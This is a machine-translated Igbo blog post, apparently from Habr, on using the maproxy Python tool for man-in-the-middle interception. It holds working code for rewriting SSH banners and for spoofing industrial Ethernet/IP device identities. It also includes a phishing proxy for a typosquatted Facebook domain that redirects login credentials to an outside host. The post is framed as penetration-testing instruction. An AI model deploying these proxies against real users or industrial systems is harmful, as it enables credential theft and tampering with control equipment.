ProHoster > Блог > Nchịkwa > Hazie data netwọk na ofufe

Hazie data netwọk na ofufe

A haziri nsụgharị nke isiokwu ahụ n'abalị nke mmalite nke ọmụmụ ahụ "Pentest. Omume ule penetration".

Hazie data netwọk na ofufe

Nkọwa

Ụdị nyocha dị iche iche nke nchekwa, sitere na nyocha ntinye mgbe niile na ọrụ otu Red Team ruo na hacking ngwaọrụ IoT/ICS na SCADA, gụnyere ịrụ ọrụ na usoro ọnụọgụ abụọ nke netwọkụ, ya bụ, n'ezie intercepting na gbanwee data netwọk n'etiti onye ahịa na ihe mgbaru ọsọ. Ịkwụsị okporo ụzọ netwọkụ abụghị ọrụ siri ike ebe anyị nwere ngwaọrụ dị ka Wireshark, Tcpdump ma ọ bụ Scapy, mana mgbanwe yiri ka ọ bụ ọrụ na-arụsi ọrụ ike karị ebe ọ bụ na anyị ga-achọ inwe ụdị interface iji gụọ data netwọk, nyochaa ya, gbanwee. ya na ijiji ma zighachi ya na onye na-elekọta ndị ọbịa na ọ fọrọ nke nta ka ọ bụrụ ozugbo. Na mgbakwunye, ọ ga-adị mma ma ọ bụrụ na ngwá ọrụ dị otú ahụ nwere ike ịrụ ọrụ na-akpaghị aka na ọtụtụ njikọ yiri ya ma bụrụ nke a na-ahazi ya site na iji edemede.

Otu ụbọchị, ahụrụ m otu ngwá ọrụ a na-akpọ maproxy, akwụkwọ ahụ mere ka o doo m anya na maproxy - naanị ihe m chọrọ. Nke a bụ proxy TCP dị mfe, dị mfe ma dịkwa mfe nhazi. M nwalere ngwá ọrụ a n'ọtụtụ ngwa dị mgbagwoju anya, gụnyere ngwaọrụ ICS (nke na-emepụta ọtụtụ ngwugwu) iji hụ ma ọ nwere ike ijikwa ọtụtụ njikọ ndị yiri ya, na ngwá ọrụ ahụ rụrụ nke ọma.

Edemede a ga-ewebata gị iji hazie data netwọkụ na-eji maproxy.

nnyocha

Ngwá ọrụ maproxy dabere na Tornado, usoro ịkparịta ụka n'Ịntanet na-ewu ewu na tozuru oke na Python.

N'ozuzu, ọ nwere ike ịrụ ọrụ n'ọtụtụ ụdị:

  • TCP:TCP - njikọ TCP ezoro ezo;
  • TCP:SSL и SSL:TCP – na otu ụzọ izo ya ezo;
  • SSL:SSL – ụzọ ezoro ezo.

Ọ na-abịa dị ka ụlọ akwụkwọ. Maka mmalite ngwa ngwa, ịnwere ike iji faịlụ atụ na-egosipụta isi ọrụ ọba akwụkwọ:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Ikpe 1 - proxy bidirectional dị mfe

Dabere na tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

ndabara ProxyServer() na-ewe arụmụka abụọ - ebe njikọ na ọdụ ụgbọ mmiri. server.listen() na-ewe otu arụmụka - ọdụ ụgbọ mmiri maka ige njikọ na-abata.

Na-eme edemede ahụ:

# python tcp2tcp.py

Iji mee ule ahụ, anyị ga-ejikọta na sava SSH mpaghara site na edemede proxy anyị, nke na-ege ntị na ya. 2222/tcp ọdụ ụgbọ mmiri ma jikọọ na ọdụ ụgbọ mmiri ọkọlọtọ 22/tcp Sava SSH:

Hazie data netwọk na ofufe

Ọkọlọtọ nnabata ahụ na-agwa gị na edemede ihe atụ anyị akwadola okporo ụzọ netwọkụ nke ọma.

Ikpe 2 - mgbanwe data

Ederede ngosi ọzọ logging_proxy.py dị mma maka ịmekọrịta data netwọkụ. Okwu ndị dị na faịlụ ahụ na-akọwa usoro klaasị ị nwere ike gbanwee iji mezuo ebumnuche gị:

Hazie data netwọk na ofufe

Ihe kacha adọrọ mmasị bụ ebe a:

  • on_c2p_done_read - iji gbochie data n'ụzọ site na onye ahịa gaa na nkesa;
  • on_p2s_done_read - tụgharịa.

Ka anyị gbalịa ịgbanwe ọkọlọtọ SSH nke ihe nkesa na-alaghachi na onye ahịa:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Mezue edemede ahụ:

Hazie data netwọk na ofufe

Dị ka ị pụrụ ịhụ, e duhiere onye ahịa ahụ n'ihi na aha sava SSH maka ya gbanwere ka ọ bụrụ «DumnySSH».

Hazie data netwọk na ofufe

Ikpe 3 – ibe weebụ phishing dị mfe

Enwere ụzọ na-adịghị agwụ agwụ iji ngwá ọrụ a. Oge a ka anyị lekwasị anya n'ihe bara uru karịa n'akụkụ ọrụ Red Team. Ka anyị ṅomie ibe ọdịda m.facebook.com wee jiri ngalaba omenala nwere akara typo, dịka ọmụmaatụ, m.facebok.com. Maka ebumnuche ngosi, ka anyị were naanị na anyị debara aha ngalaba ahụ.

Anyị ga-eme ka njikọ netwọkụ ezoro ezo na proxy ndị anyị metụtara yana SSL Stream na sava Facebook (31.13.81.36). Iji mee ka ihe atụ a rụọ ọrụ, anyị kwesịrị iji dochie nkụnye eji isi mee HTTP wee tinye aha nnabata ziri ezi, anyị ga-ewepụkwa mkpakọ nzaghachi ka anyị nwee ike ịnweta ọdịnaya ahụ ngwa ngwa. N'ikpeazụ, anyị ga-edochi ụdị HTML ka ezigara anyị nzere nbanye kama nke sava Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/ig/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

N'ikpeazụ:

Hazie data netwọk na ofufe

Dịka ị na-ahụ, anyị nwere ike iji dochie saịtị mbụ ahụ nke ọma.

Ikpe 4 - Porting Ethernet/IP

Anọla m na-emeso ngwaọrụ ụlọ ọrụ na ngwanrọ (ICS/SCADA) ruo oge ụfọdụ, dị ka ndị na-ahụ maka mmemme (PLC), modul I/O, draịva, relays, gburugburu ebe mmemme ubube na ọtụtụ ndị ọzọ. Ikpe a bụ maka ndị na-amasị ihe ụlọ ọrụ mmepụta ihe. Ịbanye ihe ngwọta dị otú ahụ na-agụnye iji usoro netwọk egwuri egwu. N'ọmụmaatụ na-esote, ọ ga-amasị m igosi otu ị ga-esi gbanwee okporo ụzọ netwọk ICS/SCADA.

Maka nke a, ị ga-achọ ihe ndị a:

  • Netwọk sniffer, ọmụmaatụ, Wireshark;
  • Ethernet/IP ma ọ bụ naanị ngwaọrụ SIP, ị nwere ike ịhụ ya site na iji ọrụ Shodan;
  • Edemede anyị dabere na maproxy.

Nke mbụ, ka anyị leba anya n'ihe nzaghachi njirimara sitere na CIP (Common Industrial Protocol) dị ka:

Hazie data netwọk na ofufe

A na-emezu njirimara ngwaọrụ site na iji Ethernet/IP protocol, nke bụ ụdị nkwalite nke ụkpụrụ Ethernet mmepụta ihe nke na-ekpuchi ụkpụrụ njikwa dị ka CIP. Anyị ga-agbanwe aha njirimara pụtara ìhè nke a na-ahụ anya na nseta ihuenyo "NI-IndComm maka Ethernet" iji script proxy anyị. Anyị nwere ike iji edemede ahụ ọzọ logging_proxy.py ma n'otu aka ahụ gbanwee usoro klaasị on_p2s_done_read, n'ihi na anyị chọrọ ka aha njirimara dị iche na-ahụ anya na onye ahịa.

Koodu:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

N'ikpeazụ, anyị rịọrọ maka njirimara ngwaọrụ ugboro abụọ, nzaghachi nke abụọ bụ nke mbụ, na nke mbụ gbanwere na ofufe.

Na ikpeazụ

N'uche nke m maproxy Ngwá ọrụ dị mfe ma dị mfe, nke a na-edekwa na Python, n'ihi ya, ekwenyere m na gị onwe gị nwekwara ike irite uru na iji ya. N'ezie, enwere ngwaọrụ ndị dị mgbagwoju anya maka nhazi na gbanwee data netwọk, ma ha na-achọkwa nlebara anya karị ma na-emepụtakarị maka otu ihe eji eme ihe, dịka ọmụmaatụ. Muraena, Modlishka ma ọ bụ ajọ omume maka ikpe yiri nke atọ, ma ọ bụ canape maka ikpe ikpeazu. Otu ụzọ ma ọ bụ ọzọ, na enyemaka maproxy ị nwere ike mejuputa echiche gị ngwa ngwa maka igbochi data netwọkụ, ebe ọ bụ na ihe atụ doro anya nke ọma.

Nyochaa usoro nyocha na Windows AD

isi: www.habr.com

Tinye a comment